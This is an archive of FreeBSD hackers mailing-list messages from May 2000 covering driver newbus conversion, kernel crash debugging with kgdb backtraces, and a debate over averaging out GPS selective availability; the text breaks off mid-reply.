May 2000 17:40:44 -0700 (PDT) (envelope-from jburkhol@home.com) Received: from io.yi.org (localhost.gvcl1.bc.wave.home.com [127.0.0.1]) by io.yi.org (Postfix) with ESMTP id 73362BCA7 for ; Wed, 3 May 2000 17:40:44 -0700 (PDT) X-Mailer: exmh version 2.1.1 10/15/1999 To: freebsd-hackers@freebsd.org Subject: solicit hardware and/or testers for newbusified drivers Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 03 May 2000 17:40:44 -0700 From: Jake Burkholder Message-Id: <20000504004044.73362BCA7@io.yi.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm working on converting some of the older drivers to newbus and need hardware or testers to verify that this stuff still works. If you have any of the hardware listed below and are willing to either loan it to me or be a guinea pig, please let me know. I have patches for some of them on my web page: http://io.yi.org These compile with LINT and a kernel with no compat shims; they should apply cleanly to a recent -current. I've booted a kernel with all these drivers compiled in to verify they were correctly not detected and didn't panic my machine. If you use other drivers that still require compatibility shims you'll have to remove the entries for the drivers you are patching from sys/i386/isa/isa_compat.h or I believe the kernel will not link. This applies to LINT. Hardware or Testers Needed: ctx: Cortex-I frame grabber. spigot: Creative Labs Video Spigot video-acquisition board. meteor: Matrox Meteor video capture board. asc: GI1904-based hand scanners, e.g. the Trust Amiscan Grey. gsc: Genius GS-4500 hand scanner. el: 3Com 3C501 ethernet card. le: Digital Equipment EtherWorks 2 and EtherWorks 3 (DEPCA, DE100, DE101, DE200, DE201, DE202, DE203, DE204, DE205, DE422). alpm: Acer Aladdin-IV/V/Pro2 based motherboard. Especially Wierd/Don't Know What To Do About: gp: National Instruments AT-GPIB and AT-GPIB/TNT board. labpc: National Instrument's Lab-PC and Lab-PC+. loran: Loran Receiver. (phk?) xrpu: HOT1 Xilinx 6200 FPGA card. Thank you Jake To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 18:23: 5 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from sasami.jurai.net (sasami.jurai.net [63.67.141.99]) by hub.freebsd.org (Postfix) with ESMTP id 152D137BA2A for ; Wed, 3 May 2000 18:23:00 -0700 (PDT) (envelope-from winter@jurai.net) Received: from localhost (winter@localhost) by sasami.jurai.net (8.9.3/8.8.7) with ESMTP id VAA25911; Wed, 3 May 2000 21:22:49 -0400 (EDT) Date: Wed, 3 May 2000 21:22:48 -0400 (EDT) From: "Matthew N. Dodd" To: "Christopher T. Griffiths" Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Upgrade from 3.4 to 4.0 with ida driver In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 3 May 2000, Christopher T. Griffiths wrote: > Would you mind letting me know when this is done? I appreciate the > response. jlemon has committed the fix. -- | Matthew N. Dodd | '78 Datsun 280Z | '75 Volvo 164E | FreeBSD/NetBSD | | winter@jurai.net | 2 x '84 Volvo 245DL | ix86,sparc,pmax | | http://www.jurai.net/~winter | This Space For Rent | ISO8802.5 4ever | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 18:25:10 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from account.abs.net (account.abs.net [207.114.5.70]) by hub.freebsd.org (Postfix) with ESMTP id 72A9A37BA3E; Wed, 3 May 2000 18:25:00 -0700 (PDT) (envelope-from howardl@account.abs.net) Received: (from howardl@localhost) by account.abs.net (8.9.3/8.9.3+RBL+DUL+RSS+ORBS) id VAA55655; Wed, 3 May 2000 21:24:47 -0400 (EDT) (envelope-from howardl) From: Howard Leadmon Message-Id: <200005040124.VAA55655@account.abs.net> Subject: Re: Debugging Kernel/System Crashes, can anyone help?? In-Reply-To: <20000504095941.B18453@freebie.lemis.com> from Greg Lehey at "May 4, 2000 09:59:41 am" To: Greg Lehey Date: Wed, 3 May 2000 21:24:47 -0400 (EDT) Cc: Matthew Dillon , freebsd-stable@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL72 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > OK, well as I don't remember what options had been in what kernel > > from the old crashes, I just setup the machine to generate more > > crash dumps and sure enough it was willing to give me one > > quickly.. :) > > > > Here is a backtrace done on the dump I got only a few minutes ago, > > also please note that currently I am using a DEC based network card > > instead of the EEpro adapter as I had both sitting around. If it > > would be better to try and get the dumps with the EEpro I am sure it > > can be arranged. Also note that I am currently running SMP, but did > > remove one CPU and built a non-SMP kernel to see what happened, and > > still the machine dies.. > > > --- > > #0 0xc013abd1 in boot () > > (kgdb) back > > #0 0xc013abd1 in boot () > > #1 0xc013af94 in poweroff_wait () > > #2 0xc02283cc in trap_fatal () > > #3 0xc022805d in trap_pfault () > > #4 0xc0227c57 in trap () > > #5 0xc01cdca5 in acquire_lock () > > #6 0xc01d2f7c in softdep_count_dependencies () > > #7 0xc01d624c in ffs_fsync () > > #8 0xc01d4d66 in ffs_sync () > > #9 0xc01673ef in sync () > > #10 0xc013a9b3 in boot () > > #11 0xc013af94 in poweroff_wait () > > #12 0xc02283cc in trap_fatal () > > #13 0xc022805d in trap_pfault () > > #14 0xc0227c57 in trap () > > #15 0xc017246b in bpfioctl () > > #16 0xc01c19 in ?? () > > cannot read proc at 0 > > (kgdb) > > Interesting. That explains the splbio, anyway. The real problem is > at frame 15, in bpfioctl, but the system trapped while trying to sync > before dumping. > > As mentioned in the handbook, you need symbols in your kernel in order > to find out any more information. Build a kernel with the -g option > and try again. > > Greg Umm, the kernel was built with the -g option, as I knew I needed to be able to debug it when it crashed. I looked at the handbook, but I don't personally see a clear direction as to where I need to go from here. If you can tell me what to look for I am more than willing to go digging.. --- Howard Leadmon - howardl@abs.net - http://www.abs.net ABSnet Internet Services - Phone: 410-361-8160 - FAX: 410-361-8162 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 18:42:35 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by hub.freebsd.org (Postfix) with ESMTP id 7CBDB37BF20; Wed, 3 May 2000 18:42:28 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id LAA22246; Thu, 4 May 2000 11:11:36 +0930 (CST) Date: Thu, 4 May 2000 11:11:36 +0930 From: Greg Lehey To: Howard Leadmon Cc: Matthew Dillon , freebsd-stable@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: Debugging Kernel/System Crashes, can anyone help?? Message-ID: <20000504111136.B22025@freebie.lemis.com> References: <20000504095941.B18453@freebie.lemis.com> <200005040124.VAA55655@account.abs.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <200005040124.VAA55655@account.abs.net> Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wednesday, 3 May 2000 at 21:24:47 -0400, Howard Leadmon wrote: > >>> OK, well as I don't remember what options had been in what kernel >>> from the old crashes, I just setup the machine to generate more >>> crash dumps and sure enough it was willing to give me one >>> quickly.. :) >>> >>> Here is a backtrace done on the dump I got only a few minutes ago, >>> also please note that currently I am using a DEC based network card >>> instead of the EEpro adapter as I had both sitting around. If it >>> would be better to try and get the dumps with the EEpro I am sure it >>> can be arranged. Also note that I am currently running SMP, but did >>> remove one CPU and built a non-SMP kernel to see what happened, and >>> still the machine dies.. >> >>> --- >>> #0 0xc013abd1 in boot () >>> (kgdb) back >>> #0 0xc013abd1 in boot () >>> #1 0xc013af94 in poweroff_wait () >>> #2 0xc02283cc in trap_fatal () >>> #3 0xc022805d in trap_pfault () >>> #4 0xc0227c57 in trap () >>> #5 0xc01cdca5 in acquire_lock () >>> #6 0xc01d2f7c in softdep_count_dependencies () >>> #7 0xc01d624c in ffs_fsync () >>> #8 0xc01d4d66 in ffs_sync () >>> #9 0xc01673ef in sync () >>> #10 0xc013a9b3 in boot () >>> #11 0xc013af94 in poweroff_wait () >>> #12 0xc02283cc in trap_fatal () >>> #13 0xc022805d in trap_pfault () >>> #14 0xc0227c57 in trap () >>> #15 0xc017246b in bpfioctl () >>> #16 0xc01c19 in ?? () >>> cannot read proc at 0 >>> (kgdb) >> >> Interesting. That explains the splbio, anyway. The real problem is >> at frame 15, in bpfioctl, but the system trapped while trying to sync >> before dumping. >> >> As mentioned in the handbook, you need symbols in your kernel in order >> to find out any more information. Build a kernel with the -g option >> and try again. > > Umm, the kernel was built with the -g option, as I knew I needed to be > able to debug it when it crashed. I looked at the handbook, but I don't > personally see a clear direction as to where I need to go from here. If > you can tell me what to look for I am more than willing to go digging.. Ah, then you're in better shape. I assume you installed the stripped version of the kernel (it's default, despite my protests), so that's what savecore saved for you. You'll have the original still in /usr/src/sys/compile//kernel.debug. Copy it to /var/crash, overwriting your kernel.2 or whatever, and the backtrace will be much more verbose. Greg -- Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 19: 9:48 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by hub.freebsd.org (Postfix) with ESMTP id CC97437BF49; Wed, 3 May 2000 19:09:37 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id LAA22563; Thu, 4 May 2000 11:40:13 +0930 (CST) Date: Thu, 4 May 2000 11:40:13 +0930 From: Greg Lehey To: Jan Koum Cc: freebsd-stable@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: Debugging Kernel/System Crashes, can anyone help?? Message-ID: <20000504114013.E22025@freebie.lemis.com> References: <20000504095941.B18453@freebie.lemis.com> <200005040124.VAA55655@account.abs.net> <20000504111136.B22025@freebie.lemis.com> <20000503185936.E72341@ethereal.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <20000503185936.E72341@ethereal.net> Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wednesday, 3 May 2000 at 18:59:36 -0700, Jan Koum wrote: > On Thu, May 04, 2000 at 11:11:36AM +0930, Greg Lehey wrote: >> >> Ah, then you're in better shape. I assume you installed the stripped >> version of the kernel (it's default, despite my protests) > > what are some pro's and con's in this case? I assume you had intended to copy the others, so I've put them back. Pro having only one (debug) kernel: 1. If space is tight, you can save overall space. You need to keep the kernel.debug somewhere. If you make it the boot kernel, you use a total of 10 MB. Otherwise, even if you make clean, you end up having a 10 MB kernel.debug somewhere and a 2.5 MB kernel in the root file system. 2. savecore always saves the correct kernel. If you have to move it manually from wherever you keep it, there's a big chance for making mistakes. I've done it often enough. Con: 1. If you're short of space on the root file system, the additional 7.5 MB can hurt. You can plan against this, of course, by installing larger root file systems. There's a separate issue about whether to build kernels with debug symbols by default. That takes a lot more space (30 MB as compared to about 8). But if you have a debug kernel, I don't see any reason to install a stripped version. Greg -- Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 19:23:46 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from greybeard95a.com (area66-1.dsl.speakeasy.net [216.254.42.98]) by hub.freebsd.org (Postfix) with SMTP id AE4D237BF7B for ; Wed, 3 May 2000 19:23:42 -0700 (PDT) (envelope-from benfell@greybeard95a.com) Received: (qmail 1047 invoked by uid 500); 3 May 2000 21:20:35 -0000 Date: Wed, 3 May 2000 14:20:35 -0700 From: David Benfell To: Dave West Cc: Dhar , hspio@worldnet.att.net, cypherpunks@toad.com, linux-admin@vger.rutgers.edu, WIN95-L@PEACH.EASE.LSOFT.COM, hackers@FreeBSD.ORG, linux-hams@vger.rutgers.edu, linux-config@vger.rutgers.edu, AccessHelp@egroups.com Subject: Re: MAKE MONEY FOR DOING NOTHING!!!!!!!!! PROMISE Message-ID: <20000503142035.C410@greybeard95a.com> Mail-Followup-To: David Benfell , Dave West , Dhar , hspio@worldnet.att.net, cypherpunks@toad.com, linux-admin@vger.rutgers.edu, WIN95-L@PEACH.EASE.LSOFT.COM, hackers@FreeBSD.ORG, linux-hams@vger.rutgers.edu, linux-config@vger.rutgers.edu, AccessHelp@egroups.com References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.1.11i In-Reply-To: ; from davew@hoagy.demon.co.uk on Wed, May 03, 2000 at 06:27:32PM +0100 X-From: David Benfell X-Moon: The Moon is New Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, May 03, 2000 at 06:27:32PM +0100, Dave West wrote: > > Actually it's better to just tell AllAdvantage.com and they will cancell > his account and bar him for life. > So he can use another false name with another ISP. -- David Benfell ICQ 59438240 [e-mail first for access] --- "I am ready to meet my Maker. Whether my Maker is prepared for the great ordeal of meeting me is another matter." -- Winston Churchill [from fortune] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 19:31:12 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 1AEC337B84B for ; Wed, 3 May 2000 19:31:09 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id UAA22432; Wed, 3 May 2000 20:31:07 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id UAA36034; Wed, 3 May 2000 20:30:48 -0600 (MDT) Message-Id: <200005040230.UAA36034@harmony.village.org> To: Matthew Dillon Subject: Re: GPS heads up Cc: hackers@FreeBSD.ORG In-reply-to: Your message of "Wed, 03 May 2000 16:13:40 PDT." <200005032313.QAA65552@apollo.backplane.com> References: <200005032313.QAA65552@apollo.backplane.com> <200005031744.KAA63550@apollo.backplane.com> <20000503200006.A35116@cichlids.cichlids.com> <200005031957.NAA01354@nomad.yogotech.com> <20000503130759.A15403@orion.ac.hmc.edu> <20000503221528.A37472@cichlids.cichlids.com> <20000503151513.D337@beastie.localdomain> Date: Wed, 03 May 2000 20:30:48 -0600 From: Warner Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200005032313.QAA65552@apollo.backplane.com> Matthew Dillon writes: : No, you can't just average several measurements w/ SA on and expect : to get any improvement. SA isn't just 'noise', it's like a : drunken walker. All you get when you average several measurements : is the location of the drunk. The SA can be averaged out, but you need to have another source of time as well as GPS. GPS alone will give you a grid square you are in, but the nature of the pseudorandom noise is such that you don't get a nice sine wave (collapsing for a moment to 1 dimention). It is much more distorted than that. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 19:47:41 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id AAADE37B771; Wed, 3 May 2000 19:47:33 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id TAA66497; Wed, 3 May 2000 19:47:24 -0700 (PDT) (envelope-from dillon) Date: Wed, 3 May 2000 19:47:24 -0700 (PDT) From: Matthew Dillon Message-Id: <200005040247.TAA66497@apollo.backplane.com> To: Greg Lehey Cc: Jan Koum , freebsd-stable@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: Debugging Kernel/System Crashes, can anyone help?? References: <20000504095941.B18453@freebie.lemis.com> <200005040124.VAA55655@account.abs.net> <20000504111136.B22025@freebie.lemis.com> <20000503185936.E72341@ethereal.net> <20000504114013.E22025@freebie.lemis.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I, for one, think that installing the stripped kernel is the correct solution. I often have several kernels lying around in / (e.g. a kernel.bak along with the kernel and kernel.old the system maintains), and my poor root partition would run out of space fairly quickly if they all had symbols. There's al earning curve to everything. As things go, this one isn't a big deal. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 19:55:26 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from account.abs.net (account.abs.net [207.114.5.70]) by hub.freebsd.org (Postfix) with ESMTP id B657D37B771; Wed, 3 May 2000 19:55:16 -0700 (PDT) (envelope-from howardl@account.abs.net) Received: (from howardl@localhost) by account.abs.net (8.9.3/8.9.3+RBL+DUL+RSS+ORBS) id WAA61544; Wed, 3 May 2000 22:55:07 -0400 (EDT) (envelope-from howardl) From: Howard Leadmon Message-Id: <200005040255.WAA61544@account.abs.net> Subject: Re: Debugging Kernel/System Crashes, can anyone help?? In-Reply-To: <20000504111136.B22025@freebie.lemis.com> from Greg Lehey at "May 4, 2000 11:11:36 am" To: Greg Lehey Date: Wed, 3 May 2000 22:55:07 -0400 (EDT) Cc: Matthew Dillon , freebsd-stable@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL72 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Old trace deleted.. :) > >> Interesting. That explains the splbio, anyway. The real problem is > >> at frame 15, in bpfioctl, but the system trapped while trying to sync > >> before dumping. > >> > >> As mentioned in the handbook, you need symbols in your kernel in order > >> to find out any more information. Build a kernel with the -g option > >> and try again. > > > > Umm, the kernel was built with the -g option, as I knew I needed to be > > able to debug it when it crashed. I looked at the handbook, but I don't > > personally see a clear direction as to where I need to go from here. If > > you can tell me what to look for I am more than willing to go digging.. >=20 > Ah, then you're in better shape. I assume you installed the stripped > version of the kernel (it's default, despite my protests), so that's > what savecore saved for you. You'll have the original still in > /usr/src/sys/compile//kernel.debug. Copy it to /var/crash, > overwriting your kernel.2 or whatever, and the backtrace will be much > more verbose. >=20 > Greg OK, I did as you requested, and here is the info I got using the kernel.deb= ug file found in the compile directory. I do agree, it would have made sense = to copy the debugging kernel vs the stripped one..=20 # gdb -k kernel.0 vmcore.0 GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain condition= s. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-unknown-freebsd"... SMP 2 cpus IdlePTD 3112960 initial pcb at 2815e0 panicstr: page fault panic messages: --- Fatal trap 12: page fault while in kernel mode mp_lock =3D 00000002; cpuid =3D 0; lapic.id =3D 00000000 fault virtual address =3D 0x261e930 fault code =3D supervisor write, page not present instruction pointer =3D 0x8:0xc017246b stack pointer =3D 0x10:0xff806f34 frame pointer =3D 0x10:0xff806f79 code segment =3D base 0x0, limit 0xfffff, type 0x1b =3D DPL 0, pres 1, def32 1, gran 1 processor eflags =3D interrupt enabled, resume, IOPL =3D 0 current process =3D Idle interrupt mask =3D net <- SMP: XXX trap number =3D 12 panic: page fault mp_lock =3D 00000002; cpuid =3D 0; lapic.id =3D 00000000 boot() called on cpu#0 syncing disks...=20 Fatal trap 12: page fault while in kernel mode mp_lock =3D 00000003; cpuid =3D 0; lapic.id =3D 00000000 fault virtual address =3D 0x30 fault code =3D supervisor read, page not present instruction pointer =3D 0x8:0xc01cdca5 stack pointer =3D 0x10:0xff806d5c frame pointer =3D 0x10:0xff806d60 code segment =3D base 0x0, limit 0xfffff, type 0x1b =3D DPL 0, pres 1, def32 1, gran 1 processor eflags =3D interrupt enabled, resume, IOPL =3D 0 current process =3D Idle interrupt mask =3D net bio cam <- SMP: XXX trap number =3D 12 panic: page fault mp_lock =3D 00000003; cpuid =3D 0; lapic.id =3D 00000000 boot() called on cpu#0 Uptime: 4m48s dumping to dev #ad/0x20001, offset 128 dump ata0: resetting devices .. done 383 382 381 380 379 378 377 376 375 374 373 372 371 370 369 368 367 366 365= 364 363 362 361 360 359 358 357 356 355 354 353 352 351 350 349 348 347 34= 6 345 344 343 342 341 340 339 338 337 336 335 334 333 332 331 330 329 328 3= 27 326 325 324 323 322 321 32= 0 319 318 317 316 315 314 313 312 311 310 309 308 307 306 305 304 303 302 3= 01 300 299 298 297 296 295 294 293 292 291 290 289 288 287 286 285 284 283 = 282 281 280 279 278 277 276 275 274 273 272 271 270 269 268 267 266 265 264= 263 262 261 260 259 258 257=20= 256 255 254 253 252 251 250 249 248 247 246 245 244 243 242 241 240 239 238= 237 236 235 234 233 232 231 230 229 228 227 226 225 224 223 222 221 220 21= 9 218 217 216 215 214 213 212 211 210 209 208 207 206 205 204 203 202 201 2= 00 199 198 197 196 195 194 19= 3 192 191 190 189 188 187 186 185 184 183 182 181 180 179 178 177 176 175 1= 74 173 172 171 170 169 168 167 166 165 164 163 162 161 160 159 158 157 156 = 155 154 153 152 151 150 149 148 147 146 145 144 143 142 141 140 139 138 137= 136 135 134 133 132 131 130=20= 129 128 127 126 125 124 123 122 121 120 119 118 117 116 115 114 113 112 111= 110 109 108 107 106 105 104 103 102 101 100 99 98 97 96 95 94 93 92 91 90 = 89 88 87 86 85 84 83 82 81 80 79 78 77 76 75 74 73 72 71 70 69 68 67 66 65 = 64 63 62 61 60 59 58 57 56 55= 54 53 52 51 50 49 48 47 46 45 44 43 42 41 40 39 38 37 36 35 34 33 32 31 30= 29 28 27 26 25 24 23 22 21 20 19 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 = 2 1 0=20 --- #0 boot (howto=3D260) at ../../kern/kern_shutdown.c:304 304 dumppcb.pcb_cr3 =3D rcr3(); (kgdb) back=20 #0 boot (howto=3D260) at ../../kern/kern_shutdown.c:304 #1 0xc013af94 in poweroff_wait (junk=3D0xc025922f, howto=3D0) at ../../kern/kern_shutdown.c:554 #2 0xc02283cc in trap_fatal (frame=3D0xff806d1c, eva=3D48) at ../../i386/i386/trap.c:924 #3 0xc022805d in trap_pfault (frame=3D0xff806d1c, usermode=3D0, eva=3D48) at ../../i386/i386/trap.c:817 #4 0xc0227c57 in trap (frame=3D{tf_fs =3D -8388584, tf_es =3D -1072496624,= =20 tf_ds =3D -978780144, tf_edi =3D 0, tf_esi =3D 0, tf_ebp =3D -8360608= ,=20 tf_isp =3D -8360632, tf_ebx =3D -1071185252, tf_edx =3D -1071010272,= =20 tf_ecx =3D 1, tf_eax =3D 0, tf_trapno =3D 12, tf_err =3D 0,=20 tf_eip =3D -1071850331, tf_cs =3D 8, tf_eflags =3D 66194, tf_esp =3D = -848136656,=20 tf_ss =3D -8360584}) at ../../i386/i386/trap.c:423 #5 0xc01cdca5 in acquire_lock (lk=3D0xc027029c) at machine/globals.h:113 #6 0xc01d2f7c in softdep_count_dependencies (bp=3D0xcd727630, wantcount=3D= 0) at ../../ufs/ffs/ffs_softdep.c:4535 #7 0xc01d624c in ffs_fsync (ap=3D0xff806ddc) at ../../ufs/ffs/ffs_vnops.c:= 168 #8 0xc01d4d66 in ffs_sync (mp=3D0xc58fb000, waitfor=3D2, cred=3D0xc0dee900= ,=20 p=3D0xc0297060) at vnode_if.h:537 #9 0xc01673ef in sync (p=3D0xc0297060, uap=3D0x0) at ../../kern/vfs_syscal= ls.c:549 #10 0xc013a9b3 in boot (howto=3D256) at ../../kern/kern_shutdown.c:226 #11 0xc013af94 in poweroff_wait (junk=3D0xc025922f, howto=3D0) at ../../kern/kern_shutdown.c:554 #12 0xc02283cc in trap_fatal (frame=3D0xff806ef4, eva=3D39971120) at ../../i386/i386/trap.c:924 #13 0xc022805d in trap_pfault (frame=3D0xff806ef4, usermode=3D0, eva=3D3997= 1120) at ../../i386/i386/trap.c:817 #14 0xc0227c57 in trap (frame=3D{tf_fs =3D 24, tf_es =3D -675545072,=20 tf_ds =3D -1058602992, tf_edi =3D -1059013248, tf_esi =3D 28,=20 tf_ebp =3D -8360071, tf_isp =3D -8360160, tf_ebx =3D -1058670080,=20 tf_edx =3D -1059008325, tf_ecx =3D 0, tf_eax =3D -1059168256, tf_trap= no =3D 12,=20 tf_err =3D 2, tf_eip =3D -1072225173, tf_cs =3D 8, tf_eflags =3D 6617= 8,=20 tf_esp =3D -1071902645, tf_ss =3D -1059168256}) at ../../i386/i386/tr= ap.c:423 #15 0xc017246b in bpfioctl (dev=3D0xc0c0de60, cmd=3D12639866,=20 addr=3D0xff400800
    , flags=3D16777215,= =20 p=3D0xacc0de60) at ../../net/bpf.c:683 #16 0xc01c19 in ?? () cannot read proc at 0 (kgdb) Is this more help? (shame I don't actually understand it..) --- Howard Leadmon - howardl@abs.net - http://www.abs.net ABSnet Internet Services - Phone: 410-361-8160 - FAX: 410-361-8162 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 20: 3:56 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 4988337B99F for ; Wed, 3 May 2000 20:03:52 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id UAA66590; Wed, 3 May 2000 20:03:48 -0700 (PDT) (envelope-from dillon) Date: Wed, 3 May 2000 20:03:48 -0700 (PDT) From: Matthew Dillon Message-Id: <200005040303.UAA66590@apollo.backplane.com> To: Warner Losh Cc: hackers@FreeBSD.ORG Subject: Re: GPS heads up References: <200005032313.QAA65552@apollo.backplane.com> <200005031744.KAA63550@apollo.backplane.com> <20000503200006.A35116@cichlids.cichlids.com> <200005031957.NAA01354@nomad.yogotech.com> <20000503130759.A15403@orion.ac.hmc.edu> <20000503221528.A37472@cichlids.cichlids.com> <20000503151513.D337@beastie.localdomain> <200005040230.UAA36034@harmony.village.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :The SA can be averaged out, but you need to have another source of :time as well as GPS. GPS alone will give you a grid square you are :in, but the nature of the pseudorandom noise is such that you don't :get a nice sine wave (collapsing for a moment to 1 dimention). It is :much more distorted than that. : :Warner SA can *not* be averaged out. People... SA is NOT NOISE. I will repeat that. SA is NOT NOISE. SA is an intentional error introduced by the satellites that looks like a drunk walking around the town. It takes a lot of readings over a long period of time (read: at least a couple of days) for any sort of averaging to yield a worthwhile result. I know this for a fact, because NextBus has a dozen or two busses in SF with GPS units on them reporting their position on two minute intervals and they've built up over a years worth of data. The only way to factor out SA is to have a secondary transmitter at a fixed location which transmits the error coming from EACH satellite to the GPS units, which then correct each satellite's signal before running it through the positional algorithms. With SA on, your GPS fix winds up moving at around a mile an hour (the rate changes as well) in odd directions. It is *NOT* random. You can't average it out and expect to get the real position 'in the middle'. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 20:21: 0 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 2CD1C37BF7D; Wed, 3 May 2000 20:20:51 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id UAA66688; Wed, 3 May 2000 20:19:19 -0700 (PDT) (envelope-from dillon) Date: Wed, 3 May 2000 20:19:19 -0700 (PDT) From: Matthew Dillon Message-Id: <200005040319.UAA66688@apollo.backplane.com> To: Howard Leadmon Cc: Greg Lehey , freebsd-stable@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: Debugging Kernel/System Crashes, can anyone help?? References: <200005040255.WAA61544@account.abs.net> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :#14 0xc0227c57 in trap (frame={tf_fs = 24, tf_es = -675545072, : tf_ds = -1058602992, tf_edi = -1059013248, tf_esi = 28, : tf_ebp = -8360071, tf_isp = -8360160, tf_ebx = -1058670080, : tf_edx = -1059008325, tf_ecx = 0, tf_eax = -1059168256, tf_trapno = 12, : tf_err = 2, 